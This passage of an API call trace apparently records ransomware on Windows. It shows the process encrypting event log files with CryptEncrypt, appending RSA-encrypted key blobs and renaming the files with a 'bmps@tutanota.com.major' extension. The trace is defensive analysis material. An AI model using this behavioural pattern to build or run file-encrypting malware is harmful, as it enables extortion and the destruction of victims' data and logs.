lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0125.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0125.117] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0125.117] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.117] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.117] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0125.117] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0125.119] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0125.119] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0125.119] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="eDBoWMsfpUIN84xbEjpUFYMFvZLIyG/YoFCEjVyyzNWDIc0auf8XtRbB+KLpwbg2\nBwtiriE7IFR4LAuTzRuUgUJGSzBt3tf+J9kicNWFRuOfwBe17+O4sMsPRlS1CHhZ\n5326+MEJpoE1Ft5KEHnN+DcdtMCOG1zxtdATNBIjljzciWeurkdm4CEwfV5HFkAl\nAfhdERL91DAr1hx76S1nKsuKRexLK2Q/jZN8C4rL0cEIH3HTssBx4G8qPdS1Vagr\nkdp/gwBXxUWwXLhbWAqNOmJ6Vwuq/A2pm69ivKSbnxAzu9HlKF9x+R/nOOj01ItI\nHt8C1BqH9eKQzze6bVRgUg==\n", pcchString=0x2e3f9a8) returned 1 [0125.119] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0125.119] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.119] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.119] CloseHandle (hObject=0x460) returned 1 [0125.123] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0125.123] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0125.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0125.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0125.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b57d8 | out: hHeap=0x570000) returned 1 [0125.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5490 | out: hHeap=0x570000) returned 1 [0125.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b57d8 [0125.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0125.142] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0125.142] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0125.146] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b55f8 [0125.146] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0125.146] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b55f8 | out: hHeap=0x570000) returned 1 [0125.146] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0125.147] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0125.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0125.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0125.147] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.160] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.160] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0125.162] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0125.164] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0125.164] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.164] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.164] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0125.164] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0125.166] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0125.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0125.166] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="lTjlsIhzG7kLpW15NfkZzRKD9YKXMvmYvWn8JQ8yiXLG77Szu8CYE9NSoaIXSCVN\n3nuxL8iXkfORHBUBFK9945WC1RQhG7Ral4Lo0vMrUvE6zgirnKK86ldvh/5sSytX\nusKHk7XMs+jZdwLTfb8b0QxIZnjBbApqMp4zhizhewtIKTMlbQrVEqfnoRpTKZlq\noj9WrKIiD0DmovXE14fKYn5Fjlg8LCs9IwldwZXwzOc5eWrSqB+TiMNtfv75dvTk\nQBZVZPD34R2jLFnf9BkyeFCT8XzyIqsGn4DyGFZOoPhdc5YKHooISfAV7PFfNCkk\nfoCmg0s2XmxIn7wB6Pgrcg==\n", pcchString=0x2e3f9a8) returned 1 [0125.166] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0125.166] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.166] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.166] CloseHandle (hObject=0x460) returned 1 [0125.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0125.168] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0125.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0125.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0125.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b57d8 | out: hHeap=0x570000) returned 1 [0125.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5760 | out: hHeap=0x570000) returned 1 [0125.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b55f8 [0125.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0125.170] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0125.170] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx", dwFileAttributes=0x80) returned 1 [0125.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b53a0 [0125.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0125.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b53a0 | out: hHeap=0x570000) returned 1 [0125.171] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0125.171] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0125.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0125.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0125.171] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.174] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.174] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0125.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0125.177] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0125.177] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.177] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.177] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0125.177] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0125.179] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0125.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0125.179] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="lBkbHcBzshuvWBr7kvaCjIu6cOPbYY8l0ULGoe6PEdlOAR/tjjpLgE4mPTFwITn6\nbH6A5u9NgbFSOx34tT7K8Vx6UH1ZZg6IGMK7D0Vc2w3y36EkPVzdzSZ3fBMOHfEj\nUCfm2ImA3jRY5CXrrIo1jTIHzFAQubIxjiRC07FQWQVC8F/ygGEjnf5V3NLCFEXR\n95e6/Ux20jZBAgUR/aoitENxJc1SpTMlejmWKj4X15Lam7MBapZsS0EKwQxxQPNg\nDEGG0MbWyGgCckf9ScFoUvfKAcqmlaOIcaITWdpjx9kwAQhsMqkcS5hi5KR7YCZJ\nDhgUtujaVl1NfLrxQ08WLg==\n", pcchString=0x2e3f9a8) returned 1 [0125.179] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0125.179] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.179] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.179] CloseHandle (hObject=0x460) returned 1 [0125.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0125.181] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0125.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0125.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0125.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b55f8 | out: hHeap=0x570000) returned 1 [0125.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5850 | out: hHeap=0x570000) returned 1 [0125.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0125.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0125.184] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0125.184] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0125.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0125.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0125.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0125.186] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0125.186] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0125.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0125.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0125.186] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.257] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.257] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0125.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0125.261] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0125.261] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.261] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.261] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0125.261] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0125.263] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0125.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0125.263] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="aclRNPDr5tG2Kzo/k5ah0TGnovXUai/EfYtVRz7R5gJQ6lmapOX7/b8BJ1Az4TOG\nlxbhqd5Tm5ZpILUkK3yY6qlLPgFOm4kFOU7ghLZWAIC8lOng+9hphafm5h8vE19i\nRqBJUGg3dQiM1Aw53Odn8wP8XEEx0gxPgPumDJMbv5KhjYU3v47E+xtd3HCjZsGJ\nlYVC1waYAqhwvvK3JAjJdPWYtoowIesAOH2AiS7GvvO14ImwsyMndfxRWFQ36mz0\nzSZ92B+3VeFPrYJqh+BWSBPsY0NuJEflXPjPJikLVgxi48Jdi2wPsPjwk8oYMtM3\nBBR8uOOVzeuAIHf+P+kPdA==\n", pcchString=0x2e3f9a8) returned 1 [0125.263] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0125.263] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.263] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.263] CloseHandle (hObject=0x460) returned 1 [0125.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0125.267] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0125.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0125.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0125.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0125.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0125.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0125.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0125.269] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0125.269] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0125.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0125.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5afc00 [0125.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0125.270] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0125.270] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0125.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0125.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0125.270] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.333] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.334] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0125.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0125.335] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0125.335] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.336] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.336] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0125.336] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0125.338] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0125.338] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0125.338] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: 